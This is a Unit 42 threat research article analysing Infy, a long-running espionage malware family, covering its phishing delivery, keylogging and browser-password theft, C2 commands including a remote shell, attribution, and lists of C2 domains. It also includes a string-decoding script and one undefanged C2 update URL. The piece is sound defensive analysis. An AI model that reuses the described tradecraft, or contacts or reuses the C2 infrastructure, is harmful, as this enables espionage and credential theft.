[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/) * [Japanese](https://unit42.paloaltonetworks.com/ja/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # Prince of Persia: Infy Malware Active In Decade of Targeted Attacks ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 10 min read Related Products [![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Tomer Bar](https://unit42.paloaltonetworks.com/author/tomer-bar/) * [Simon Conant](https://unit42.paloaltonetworks.com/author/simon-conant/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:May 2, 2016 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Infy](https://unit42.paloaltonetworks.com/tag/infy/) * [Microsoft](https://unit42.paloaltonetworks.com/tag/microsoft/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/?pdf=download&lg=en&_wpnonce=1628116e08 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/?pdf=print&lg=en&_wpnonce=1628116e08 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Prince%20of%20Persia:%20Infy%20Malware%20Active%20In%20Decade%20of%20Targeted%20Attacks&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fprince-of-persia-infy-malware-active-in-decade-of-targeted-attacks%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fprince-of-persia-infy-malware-active-in-decade-of-targeted-attacks%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fprince-of-persia-infy-malware-active-in-decade-of-targeted-attacks%2F&title=Prince%20of%20Persia:%20Infy%20Malware%20Active%20In%20Decade%20of%20Targeted%20Attacks "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fprince-of-persia-infy-malware-active-in-decade-of-targeted-attacks%2F&text=Prince%20of%20Persia:%20Infy%20Malware%20Active%20In%20Decade%20of%20Targeted%20Attacks "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fprince-of-persia-infy-malware-active-in-decade-of-targeted-attacks%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Prince%20of%20Persia:%20Infy%20Malware%20Active%20In%20Decade%20of%20Targeted%20Attacks%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fprince-of-persia-infy-malware-active-in-decade-of-targeted-attacks%2F "Share in Mastodon") Attack campaigns that have very limited scope often remain hidden for years. If only a few malware samples are deployed, it's less likely that security industry researchers will identify and connect them together. In May 2015, Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account, sent to an Israeli industrial organization. One e-mail carried a Microsoft PowerPoint file named "thanks.pps" ([VirusTotal](https://www.virustotal.com/en/file/a1d5ab7125f002262151e516151e9b9223b3f5ca3863d69dd8a12b066c162906/analysis/)), the other a Microsoft Word document named "request.docx". Around the same time, WildFire also captured an e-mail containing a Word document ("hello.docx") with an identical hash as the earlier Word document, this time sent to a U.S. Government recipient. Based on various attributes of these files and the functionality of the malware they install, we have identified and collected over 40 variants of a previously unpublished malware family we call Infy, which has been involved in attacks stretching back to 2007. Attacks using this tool were still active as of April 2016. ### Attack Technique The attacks we have identified carrying Infy begin with a spear-phishing e-mail carrying a Word or PowerPoint document. The attached document file contains a multi-layer Self-Extracting Executable Archive (SFX), and content attempting to social engineer the recipient into activating the executable. In this example, the PPS file, when clicked, opens in "PowerPoint Show" mode. The user sees a PowerPoint page (Figure 1) that mimics a paused movie, and is tricked into clicking "Run" (Figure 2), which allows the embedded SFX file to execute. [![Prince of Persia 1](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-1-500x275.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-1.png) *Figure 1 PowerPoint page mimics a paused video* [![Prince of Persia 2](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-2-500x278.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-2.png) *Figure 2 User tricked into running embedded SFX EXE* One of the SFX layers is encrypted with the key "1qaz2wsx3edc". The package (Figure 3) typically includes a fake readme.txt file as camouflage (for example, impersonating an Aptana Studio application), and in some campaigns, image or video files (Figure 4). The executable typically has a filename pattern ins\[\*\].exe where \* are random digits of up to 4 characters. The main payload is a DLL file with a typical filename pattern mpro\[\*\].dll where \* are random digits of up to 3 characters (early versions used a .cpl extension). [![Prince of Persia 3](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-3-500x104.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-3.png) *Figure 3 Embedded SFX contents* [![Prince of Persia 4\_1](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-4_1-500x85.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-4_1.png) [![Prince of Persia 4\_2](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-4_2.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-4_2.png) *Figure 4 Some campaigns include image or video files as camouflage* The executable installs the DLL, writes to the autorun registry key, and doesn't activate until a reboot. After reboot, it first checks for antivirus and then connects to the C2. It starts collecting environment data, initiates a keylogger, and steals browser passwords and content such as cookies, before exfiltrating the stolen data to the C2 server. The initially-observed "thanks.pps" example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll. ### Infrastructure In our initial samples, we observed C2 servers updateserver3\[.\]com and us1s2\[.\]strangled\[.\]net. Other campaigns use a combination of Dynamic DNS providers, third-party site hosting services, and apparently first-party-registered domains as C2 servers. Analysis of hosting and WHOIS data (Figure 5) led to a total of 12 related first-party-registered domains used for C2 servers: * bestbox3\[.\]com * myblog2000\[.\]com * safehostonline\[.\]com * updateserver3\[.\]com * short-name\[.\]com * bestupdateserver2\[.\]com * bestwebstat\[.\]com * updatebox4\[.\]com * bestupdateserver\[.\]com * short-url20\[.\]com * updateserver1\[.\]com * box4054\[.\]net Ages of these domains suggest that some may have been used for malicious activity back as far as early 2010. We found a [report by the Danish Defense Intelligence Service's Center for Cybersecurity](https://fe-ddis.dk/cfcs/CFCSDocuments/Phishing%20uden%20fangst.pdf), which had observed similar attacks against Danish Government targets, and documented a small portion of the same C2 infrastructure. [![Prince of Persia 5](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-5-500x739.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-5.png) *Figure 5 Infrastructure and Actor information related to Infy Attacks* We initially found a file with an identical hash as the originally-observed PowerPoint file, but a different filename ("syria.pps"), uploaded to VirusTotal (Figure 6) also in May of 2015. A characteristic observed across these campaigns is that the actor puts deliberate effort into the specific geographic targeting, with region-specific attack content. [![Prince of Persia 6](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-6-500x134.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-6.png) *Figure 6 Powerpoint file uploaded to VirusTotal with a different file name* We were subsequently able to pivot and associate additional malware and campaigns based on infrastructure, hashes, strings, and payload links and similarities. The most conclusive evidence that all of these are linked is found in a single key, used to encode strings within the malware across all examples. Only the offset varies: older versions encode just the C2 data, newer versions encode most strings, and some double-encode the C2 data with two different offsets. The following script can be used to decode these strings: import string import base64 FIRST\_PHASE = "OQTJEqtsK0AUB9YXMwr8idozF7VWRPpnhNCHI6Dlkaubyxf5423jvcZ1LSGmge" SECOND\_PHASE = "" + "PqOwI1eUrYtT2yR3p4E5o6WiQu7ASlDkFj8GhHaJ9sKdLfMgNzBx0ZcXvCmVnb" def decrypt(input, offset=-10): result = "" for i, c in enumerate(input): i = i % 62 + 1 try: index = FIRST\_PHASE.index(c) except ValueError: result += c continue translated = SECOND\_PHASE\[(index - i + offset) % len(SECOND\_PHASE)\] result += translated return result |----------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import string import base64 FIRST\_PHASE = "OQTJEqtsK0AUB9YXMwr8idozF7VWRPpnhNCHI6Dlkaubyxf5423jvcZ1LSGmge" SECOND\_PHASE = "" + "PqOwI1eUrYtT2yR3p4E5o6WiQu7ASlDkFj8GhHaJ9sKdLfMgNzBx0ZcXvCmVnb" def decrypt(input, offset=-10): result = "" for i, c in enumerate(input): i = i % 62 + 1 try: index = FIRST\_PHASE.index(c) except ValueError: result += c continue translated = SECOND\_PHASE\[(index - i + offset) % len(SECOND\_PHASE)\] result += translated return result | Based on this specific encoding technique and key, we have identified related Infy samples from as early as mid 2007 (Figure 7), although more frequent related activity is observed after 2011. Historic registration of the C2 domain associated with the oldest sample that we found, fastupdate\[.\]net, suggests that it may have been associated with malicious activity as far back as December 2004. Over the years, we notice continued development and feature improvement in the code. For instance, support for the new Microsoft Edge browser was recently introduced in "version 30". [![Prince of Persia 7](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-7-500x124.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-7.png) *Figure 7 Oldest related example found dates to 2007* Most of the associated malware samples dating back over the last five years were eventually detected by antivirus programs, but in most cases with a generic signature. Other examples are named with multiple unrelated signature classifications, including Win32/Tuax.A (very old versions), W32/ADOKOOB, Win32/Cloptern.A \& B (old versions), TR/Graftor.106254, TR/Spy.Arpnatis.A, and Win32/Skeeyah.A!bit. We refer to the malware as "Infy" because the actor used this string in multiple locations, including filenames ("infy74f1.exe" - *Infy version 7.4 F1*), C2 strings ("subject=INFY M 7.8"), and C2 folder names. ### Attribution The Gmail account sending the emails in the attack that we first observed (Figure 8), belongs to an Israeli victim. That account was itself victim of an e-mail-borne attack that compromised the user's system and e-mail account. [![Prince of Persia 8](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-8-500x108.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-8.png) *Figure 8 First-observed attack, via email* Among WHOIS records for first-party domains used in the C2 infrastructure, we find three email accounts bearing a strong similarity in naming pattern: [![Prince of Persia 8\_2](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-8_2-500x121.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-8_2.png) The WHOIS records with the first two email addresses (and other C2 domains) have apparently fake WHOIS content. The "aminjalali\_58 (at) yahoo.com" email address is associated with 6 known C2 domains, dating back to 2010. Unlike the fake WHOIS examples, this example has content more consistent with the email address: *amin jalali* *safehostonline* *afriqa street number 68* *tehran* *Tehran* *19699* *IR* *+98.935354252* *aminjalali\_58 (at) yahoo.com* The name "Amin Jalali" is not unique, though it does appear to have Iranian-specific origins. We find profiles and artifacts combining the name and "58", which may (or may not) be the same individual, and all of which have Iranian links. When we look at domains on neighboring IP addresses from known first-party C2s, we observe numerous Iranian domains, suggesting possibly an Iranian hosting reseller -- and in at least one case, a free Iranian web host (Figure 9). [![Prince of Persia 9](http://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-9-500x223.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2016/04/Prince-of-Persia-9.png) *Figure 9 Neighbor IP addresses with Iranian domains* ### Conclusion We have enough evidence to conclude a pattern of behavior following extensive analysis of this malware and C2 infrastructure between these samples. The activity has been observed over almost 10 years, with the malware being constantly improved and developed. The low-volume of activity, deliberate campaign focus and content tailoring, and nature of targets hints at the goals of this actor. We believe that we have uncovered a decade-long operation that has successfully stayed under the radar for most of its existence as targeted espionage originating from Iran. It is aimed at governments and businesses of multiple nations as well as its own citizens. Palo Alto Networks customers are protected from this threat in the following ways: 1. WildFire accurately identifies all malware samples related to this operation as malicious. 2. Domains used by this operation have been flagged as malicious in Threat Prevention. 3. AutoFocus users can view malware related to this attack using the "Infy tag. IOCs can be found in the appendices of this report. Special thanks to Michael Scott for assistance with Maltego in this investigation. ### Appendix 1 - Detailed Infy Malware Analysis Although Infy is fundamentally one malware family, we observe two distinct variants. The regular variant "Infy" is versioned by the malware author 1-30 (1999 -15999 sub-versions). In addition, we observe a distinct variant "Infy M" developed in parallel with the regular variant since about 2013. Infy M appears to be a full featured variant, deployed against high-value targets. It includes more functionality: while the original variant has no remote control, "M" adds the ability for the C2 to issue commands to the malware via C2 PHP scripts; HTTP support; a hidden GUI control panel; and FTP client. #### Infy Detailed analysis of a recent Infy sample (version 30, active from 24 February 2016): The initial executable first checks for installed antivirus programs. It uses the Windows API function "GetFileattributeA" on a list of several common AV installation directories, testing any positive return with "file\_attribute\_directory". Depending on which AV Infy finds, it will either abort, or install the malicious Infy DLL using a different technique. This concern with avoiding client-AV detection, skipping installation rather than risk alerting, is somewhat noteworthy (as opposed to the relatively common sandbox-detection techniques). The EXE installs the DLL, writes to the autorun key, and does nothing else until restart. Upon restart, the EXE loader executes the main function, exported by the DLL malware file DLL (previously we observed functions named "start1/start2/start3") with the parameter /rcv (this version uses a decryption offset of 19). It installs itself in "cyberlink" directory. It will then search for files with "bak", "csv", or "cnt", extensions. If the parameter "/rcv" was used, it starts a keylogger (the keylogger uses a window name "TRON2VDLLB" (GetMessageA/translate message/DispatchMessageA). It next registers hotkeys, and gets clipboard data. Get\_browser\_data steals passwords, forms, cookies, history (from Microsoft Edge, Internet Explorer, Google Chrome, Opera, and Firefox). The malware connects to the C2 every five minutes using HTTP, posting: \ \ dn = n1 ver = 30 lfolder= f cpuid= machineguid (from hklm\\SOFTWARE\\Microsoft\\Cryptography\\machineguid) tt= time After posting data about the infected system to the C2 server, the malware downloaded an update named "v30nXf1.tmp" file to %temp%\\drvtem64.tmp. If the download is successful, the malware writes "OK, Downloaded \[url file\]" to log file. It then connects again, with a similar posting format, but this time also adding "tt=" (time) and "cpuid=". It installs the downloaded file with parameter "-sp/ins -pBA5a88E". A third connection adds "sfolder", "subject", and this time exfiltrates data in the "body=" parameter. Each variant of Infy uses specific "cover" camouflage to with file metadata that makes it appear as though it is legitimate software. In this case, the file used the software name "Cyberlink," and a description of "CLMediaLibrary Dynamic Link Library" and listing version 4.19.9.98. #### Infy M We observed the Infy M variant with versions 6.1 through 7.8, adding features including screen capture, document capture \& upload, and microphone capture. Infy M supports the following C2 commands: ASIDLE - idle ASDIR -- directory list of files ASPUT -- download file ASGET -- upload file ASZIPGET -- upload as zip ASDELETE -- delete file ASRENAME -- rename file ASRUN -- execute file ASENDTASK -- terminate process ASZIP -- zip file ASSHELL -- remote shell The "M" variant uses mostly distinct C2 servers from the regular Infy samples (although very recently, we also observed version 7.8 using C2 "youripinfo.com", previously seen as C2 for the regular variant): bestupdateserver\[.\]com -- Observed 2013-12-09 www.bestupdateserver\[.\]com - Observed 2013-04-26 bestbox3\[.\]com -- Observed 2015-08-25 www.bestupdateserver2\[.\]com - Observed 2015-05-22 bestupdateserver2\[.\]com -- Observed 2014-07-16 #### Analysis of an early version of "M", 6.2 Versions 6.x of the Infy M variant camouflage themselves with file and window names set to Borland hcrtf. They use a single EXE, rather than a loader EXE and payload DLL as seen in the original variant. The malware initially performs a check to see if the victim as already infected by checking for window names "Borland hcrtf 6.x" or "Macromedia Swsoc 7.x". We have identified five hidden GUI control forms in Infy M, one of which is not used. The first form includes three possible parameters. Parameter "/ins" installs the Trojan. It first creates and starts the service and on Windows versions prior to Vista it requires the "/s" parameter. After installing itself, the malware deletes any previous Infy installations. The does this by terminating processes and deleting Infy files in %system32%, %appdata%, %appdata%\\hcrtf (for example, pre-6.1 files incsy32.exe, incs32.exe, ntvdn.exe, grep.exe, hcrtf.exe, grep.dll). It then renames the ini file from grepc.ini to hcrtfc.ini. It completes clean-up by deleting the "inverse Ser32", "grep", and "hcrtf" services. Finally, it downloads and executes the update file from the C2 at /infy/update.php. The /c (copy) parameter sets up autostart for the malware by writing to registry key "run" (Windows Vista and above) or "runservices" (versions prior to Windows Vista). The /s (service) parameter creates and starts the service (Windows Vista and later). At this point, the malware waits, and handles any commands issued over HTTP from the C2 (for example, execute a remote shell upon receiving command "ASSHELL"). The second form monitors for new or modified document files using "CreateIoCompletionPort" and "ReadDirectoryChangesW". It targets document file types .doc, .xls , .jpg, .jpe, .txt, .htm, .pgp, .pdf, .zip, and .rar and ZIP compresses them (using the password "Z8(2000\_2001uI") into a file located at \\Program Files\\Yahoo!\\Messenger\\Profiles\\yfsbg\\yfsbg\\3dksf.tmp. The third form takes a screen captures and stores it the "yfsbg" folder as 4dksf.tmp. It the uploads the screenshot and document-capture files using POST (instead of using GET as seen in the regular variants) to \/infy/fms.php. The fourth form is not used. The fifth form is used for microphone capture. The 7.x versions install themselves as swsoc.exe (7.4 also seen using infy74f1.exe) at \\\all users\\application data\\macromedia\\8080\\swsoc.exe. They also create a subfolder "fsbg", where they store the copies of documents opened by the user. These are stored with their CRC value as their filename, RAR compressed with the same password "Z8(2000\_2001uI". We observed a server reply with error in the PHP, giving us some of their underlying file structure: \Warning\: Cannot modify header information - headers already sent by (output started at /home/bestupda/public\_html/infy/fms.php:115) in \/home/bestupda/public\_html/infy/fms.php\ on line \116\\
Upgrade requests are observed with this syntax (here, version 6.2 to the latest version): http://www.bestupdateserver.com/infy/update.php?cn=\\&ver=6.2\&u=27/3/2016 20:37:23 ### Appendix 2 -- Observed Hashes A list of hashes for associated files observed in this operation can be found [here](https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv). ### Appendix 3 -- Observed Infy C2 Domains analyse1\[.\]mooo\[.\]com best\[.\]short-name\[.\]com best2\[.\]short-name\[.\]com best2\[.\]short-url20\[.\]com best3\[.\]short-url20\[.\]com best4\[.\]short-url20\[.\]com best5\[.\]short-url20\[.\]com best6\[.\]short-url20\[.\]com best7\[.\]short-url20\[.\]com bestbox3\[.\]com bestupdateserver\[.\]com bestupdateserver2\[.\]com bestupser\[.\]awardspace\[.\]info bestwebstat\[.\]com bl2pe\[.\]bestwebstat\[.\]com box4054\[.\]net c1\[.\]short-url20\[.\]com dbook\[.\]soon\[.\]it dsite\[.\]dyx\[.\]comextd\[.\]mine\[.\]bz fastecs\[.\]netfirms\[.\]com fastupdate\[.\]net gstat\[.\]strangled\[.\]net lost\[.\]updateserver1\[.\]com lu\[.\]ige\[.\]es mand\[.\]pwnz\[.\]org myblog2000\[.\]com ns2\[.\]myblog2000\[.\]com nus\[.\]soon\[.\]it safehostonline\[.\]com secup\[.\]soon\[.\]it short-name\[.\]com short-url20\[.\]com update\[.\]info\[.\]gf updatebox4\[.\]com updateserver1\[.\]com updateserver3\[.\]com us1\[.\]short-name\[.\]com us12\[.\]short-url20\[.\]com us13\[.\]short-url20\[.\]com us15\[.\]short-url20\[.\]com us16\[.\]short-url20\[.\]com us1s2\[.\]strangled\[.\]net wep\[.\]archvisio\[.\]com wep\[.\]soon\[.\]it wpstat\[.\]mine\[.\]bz wpstat\[.\]strangled\[.\]net www\[.\]fastupdate\[.\]net www\[.\]updateserver1\[.\]com youripinfo\[.\]com Back to top ### Tags * [Infy](https://unit42.paloaltonetworks.com/tag/infy/ "Infy") * [Microsoft](https://unit42.paloaltonetworks.com/tag/microsoft/ "Microsoft") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Afraidgate: Major Exploit Kit Campaign Swaps Locky Ransomware for CryptXXX](https://unit42.paloaltonetworks.com/afraidgate-major-exploit-kit-campaign-swaps-locky-ransomware-for-cryptxxx/ "Afraidgate: Major Exploit Kit Campaign Swaps Locky Ransomware for CryptXXX") ### Related Articles * [How We Added WebAuthn to a Browser-Based RDP Client](https://unit42.paloaltonetworks.com/webauthn-added-to-browser-based-rdp/ "article - table of contents") * [Inside AD CS Escalation: Unpacking Advanced Misuse Techniques and Tools](https://unit42.paloaltonetworks.com/active-directory-certificate-services-exploitation/ "article - table of contents") * [Microsoft WSUS Remote Code Execution (CVE-2025-59287) Actively Exploited in the Wild (Updated November 3)](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/ "article - table of contents") ## Related Malware Resources ![Pictorial representation of a magnifying glass illuminating a glowing orange circular digital circuit interface on a dark, high-tech background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Myth-Busting_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) September 16, 2026 [#### Atomic macOS (AMOS) Stealer Activity](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/) * [MacOS](https://unit42.paloaltonetworks.com/tag/macos/ "macOS") * [Threat intelligence](https://unit42.paloaltonetworks.com/tag/threat-intelligence/ "threat intelligence") * [Unit 42](https://unit42.paloaltonetworks.com/tag/unit-42/ "Unit 42") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/ "Atomic macOS (AMOS) Stealer Activity") ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/) * [API](https://unit42.paloaltonetworks.com/tag/api/ "API") * [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE") ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now 